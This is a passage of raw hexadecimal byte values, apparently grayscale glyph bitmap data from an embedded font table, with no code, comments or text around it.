0x00, 0x0B, 0xF9, 0xE3, 0x00, 0x57, 0xFF, 0xFF, 0xFF, 0x34, 0x02, 0xF7, 0xFF, 0xFF, 0xC6, 0x00,
0x00, 0x00, 0x4E, 0xFF, 0x9B, 0x00, 0x05, 0xEE, 0xFF, 0xFF, 0x69, 0x1F, 0xFF, 0xFF, 0xFF, 0x57,
0x00, 0x00, 0x00, 0x97, 0xFF, 0x53, 0x00, 0x00, 0x34, 0x47, 0x47, 0x1A, 0x43, 0xFF, 0xFF, 0xFF,
0x2C, 0x00, 0x00, 0x00, 0xDF, 0xFB, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF,
0xFF, 0x0C, 0x00, 0x00, 0x29, 0xFF, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xFF,
0xFF, 0xFF, 0x02, 0x00, 0x00, 0x72, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C,
0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0xBB, 0xFF, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x43, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x0B, 0xF8, 0xE6, 0x00, 0x00, 0x00, 0x00, 0x73, 0x9A, 0x9A,
0x55, 0x16, 0xFD, 0xFF, 0xFF, 0x99, 0x00, 0x4D, 0xFF, 0x9E, 0x00, 0x00, 0x00, 0x10, 0xF8, 0xFF,
0xFF, 0x69, 0x00, 0xC1, 0xFF, 0xFF, 0xF4, 0x2E, 0x96, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x80, 0xFF,
0xFF, 0xFF, 0x1C, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0xE1, 0xF5, 0xFC, 0x11, 0x00, 0x00, 0x5C, 0xF8,
0xFF, 0xFF, 0xB0, 0x00, 0x00, 0x02, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x5C, 0x72, 0xAF, 0xFF,
0xFF, 0xFF, 0xF9, 0x25, 0x00, 0x00, 0x00, 0x1D, 0xE1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xE9, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x9A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xCC, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xFB, 0xEF, 0xA9, 0xAA,
0x8F, 0x5C, 0x2A, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0x98, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0x4C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xE8,
0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3D, 0x69, 0x8E, 0xB3, 0xB2, 0x8B, 0x63, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2A, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x8F, 0x0B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5E, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xD9, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x29, 0xF5, 0xFF, 0xFF, 0xFF, 0xD2, 0x80, 0x5E, 0x6F, 0x9F,
0xFB, 0xFF, 0xFF, 0xFF, 0x83, 0x00, 0x00, 0x00, 0x00, 0xC5, 0xFF, 0xFF, 0xFF, 0x87, 0x04, 0x00,
0x00, 0x00, 0x00, 0x33, 0xE7, 0xFF, 0xFF, 0xF8, 0x1D, 0x00, 0x00, 0x0F, 0xFD, 0xFF, 0xFF, 0xC2,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x47, 0xFF,
0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xF7, 0xFF, 0xFF, 0x82, 0x00,
0x00, 0x56, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF,
0xFF, 0xAA, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4C, 0x66, 0x66, 0x42, 0x00, 0x00, 0x0D, 0xFB, 0xFF, 0xFF, 0xE1, 0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xFF,
0xFF, 0xFF, 0xDC, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38,
0xE5, 0xE5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0xE5, 0xE5, 0xE5, 0xE5, 0x8B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x39, 0x39, 0x39, 0x94, 0xFF, 0xFF, 0xFF, 0x4B, 0x39, 0x39,
0x39, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF, 0xFF, 0xFF,
0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04,
0xFF, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x20, 0xFF, 0xFF, 0xFF, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xE8, 0xFF, 0xFF, 0x45, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xCA, 0xFF, 0xFF, 0x89, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xD1, 0xFF, 0xFF, 0xEC,
0x99, 0xBE, 0xD3, 0xAC, 0x7C, 0x4C, 0x0F, 0x00, 0x00, 0x1D, 0xA1, 0x20, 0x00, 0x0A, 0xD7, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xCE, 0xD5, 0xF9, 0xFF, 0xB4, 0x00,
0x03, 0xC4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x3D, 0x00, 0x22, 0xF3, 0xF9, 0x99, 0x59, 0x32, 0x2C, 0x55, 0x9A, 0xE0, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF7, 0x75, 0x02, 0x00, 0x00, 0x3C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x29, 0x6A, 0x90, 0x81, 0x47, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0x03, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x22, 0xE1, 0xA5, 0x03, 0x00, 0x00,
0x09, 0x31, 0x3D, 0x18, 0x00, 0x00, 0x00, 0x26, 0xE6, 0x9A, 0x01, 0xD8, 0xFF, 0xFF, 0xA6, 0x33,
0xB9, 0xFD, 0xFF, 0xFF, 0xFF, 0xED, 0x7D, 0x2E, 0xE4, 0xFF, 0xFF, 0x70, 0x48, 0xF6, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCC, 0x11, 0x00, 0x41, 0xFB,
0xFF, 0xFF, 0xFF, 0xE2, 0xA3, 0x8B, 0xB5, 0xFA, 0xFF, 0xFF, 0xFF, 0xD1, 0x11, 0x00, 0x00, 0x1B,
0xF7, 0xFF, 0xFF, 0x90, 0x09, 0x00, 0x00, 0x00, 0x2E, 0xD0, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00,
0x91, 0xFF, 0xFF, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xEC, 0xFF, 0xFE, 0x34, 0x00,
0x00, 0xCA, 0xFF, 0xF6, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xFF, 0xFF, 0x7B,
0x00, 0x01, 0xF3, 0xFF, 0xC9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFF, 0xFF,
0xA5, 0x00, 0x05, 0xFD, 0xFF, 0xC9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0xFF,
0xFF, 0xB4, 0x00, 0x00, 0xDC, 0xFF, 0xEE, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57,
0xFF, 0xFF, 0x8F, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
0xD5, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x2E, 0xFD, 0xFF, 0xF9, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x0E,
0xA8, 0xFF, 0xFF, 0xCA, 0x01, 0x00, 0x00, 0x25, 0xF6, 0xFF, 0xFF, 0xFF, 0xB5, 0x6D, 0x55, 0x7E,
0xE2, 0xFF, 0xFF, 0xFF, 0xB2, 0x02, 0x00, 0x28, 0xE6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3, 0x03, 0xDA, 0xFF, 0xFF, 0xD0, 0x6E, 0xE1, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xC0, 0x7A, 0xFA, 0xFF, 0xFF, 0x72, 0x45, 0xF7, 0xD1, 0x13, 0x00, 0x07, 0x49,
0x6F, 0x84, 0x61, 0x32, 0x00, 0x00, 0x4F, 0xF9, 0xC4, 0x0C, 0x00, 0x36, 0x14, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x0C, 0x00, 0x71, 0xB8, 0xB8, 0xB8, 0x6A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xB3, 0xB8, 0xB8, 0xB8, 0x1A,
0x3A, 0xFE, 0xFF, 0xFF, 0xF3, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xFF, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0xA2, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1A, 0xF5, 0xFF, 0xFF, 0xFB, 0x2B, 0x00, 0x00, 0x18, 0xF2, 0xFF, 0xFF, 0xFB,
0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x8E, 0x00, 0x00, 0x00,
0x00, 0x73, 0xFF, 0xFF, 0xFF, 0xAA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xFC, 0xFF, 0xFF,
0xE7, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x05, 0xD7, 0xFF, 0xFF, 0xFF, 0x35, 0x00, 0x00, 0x00, 0x00,
0x00, 0xB2, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF,
0xBF, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17,
0x54, 0x54, 0xEF, 0xFF, 0xFF, 0xFF, 0x49, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF, 0x84, 0x54,
0x3A, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD1, 0x02, 0x00, 0x53, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x5E, 0x04, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x16, 0x51,
0x51, 0x51, 0x52, 0xE5, 0xFF, 0xFF, 0xE1, 0x71, 0xFF, 0xFF, 0xFF, 0x8D, 0x51, 0x51, 0x51, 0x38,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD4,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0x74,
0x74, 0x74, 0x74, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x74, 0x74, 0x74, 0x74, 0x74, 0x12, 0x00,
0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x32, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x32, 0x00, 0x00, 0x00, 0x00, 0x14, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0xA1, 0xFF, 0xFF, 0xFF, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x04, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF,
0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x16, 0x21, 0x21, 0x09, 0xCE, 0xFF, 0xFF, 0x6C, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE,
0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE,
0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xAC, 0xDB, 0xDB, 0x58, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC7, 0xFD, 0xFD, 0x67, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE,
0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xCE,
0xFF, 0xFF, 0x6D, 0xCE, 0xFF, 0xFF, 0x6D, 0xC9, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,
0x49, 0x8A, 0xB5, 0xC4, 0x96, 0x64, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16,
0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x69, 0xFF, 0xFF, 0xFF, 0xCB, 0x78, 0x41, 0x69, 0xEC, 0xFF, 0xFF, 0xFF, 0x2D, 0x00, 0x00, 0x00,
0x00, 0xB6, 0xFF, 0xFF, 0xC2, 0x01, 0x00, 0x00, 0x00, 0x2D, 0xFB, 0xFF, 0xFF, 0x84, 0x00, 0x00,
0x00, 0x00, 0xE6, 0xFF, 0xFF, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xA8, 0x00,
0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xD2, 0xD2, 0x95,
0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0xFF, 0xFF, 0xFF, 0xFF, 0xB2, 0x1E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x80, 0x0A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xA4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2,
0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xBE, 0xFF, 0xFF, 0xE4, 0x71, 0xD6, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x93, 0x09, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xEE, 0x19, 0x00, 0x05, 0x78, 0xF5,
0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x2B, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00,
0x1F, 0xB1, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x15, 0x00, 0xED, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x52, 0xE7, 0xFF, 0xFF, 0xFF, 0xBE, 0x01, 0xD8, 0xFF, 0xFF, 0xC7, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xCC, 0xFF, 0xFF, 0xFF, 0x2D, 0xA2, 0xFF, 0xFF, 0xFF, 0xA8,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFC, 0xFF, 0xFF, 0x6E, 0x24, 0xF7, 0xFF, 0xFF,
0xFF, 0xBC, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0x83, 0x00, 0x59, 0xF9,
0xFF, 0xFF, 0xFF, 0xF5, 0x72, 0x03, 0x00, 0x00, 0x00, 0x01, 0xEE, 0xFF, 0xFF, 0x5C, 0x00, 0x00,
0x3C, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x2D, 0x00, 0x00, 0x5F, 0xFF, 0xFF, 0xF6, 0x1B, 0x00,
0x00, 0x00, 0x1A, 0xB5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0x83, 0x6A, 0xF8, 0xFF, 0xFF, 0x82, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xB7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xF3, 0xFF, 0xFF, 0xFF, 0xD4,
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xD2, 0xFF, 0xFF,
0xFF, 0x77, 0x00, 0x00, 0x00, 0x3B, 0x99, 0x99, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xF7,
0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC1, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x01, 0xE2, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x03, 0xE1, 0xFF, 0xFF, 0xF4, 0x4E, 0x04, 0x00,
0x1B, 0xA9, 0xFF, 0xFF, 0xFF, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7,
0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xDA, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xFE, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xAF,
0xE0, 0xFF, 0xFF, 0xFC, 0xDA, 0x84, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x11, 0x25, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x62, 0x62, 0x3C,
0x00, 0x1E, 0x62, 0x62, 0x61, 0x09, 0xD6, 0xFF, 0xFF, 0xA9, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0x24,
0xD6, 0xFF, 0xFF, 0xA9, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0x24, 0xD6, 0xFF, 0xFF, 0xA9, 0x00, 0x5B,
0xFF, 0xFF, 0xFF, 0x24, 0x5E, 0x76, 0x76, 0x49, 0x00, 0x25, 0x76, 0x76, 0x76, 0x0C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2A, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x70, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x82, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xF6, 0xFF, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xFF, 0xFF, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0x2B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xDA, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
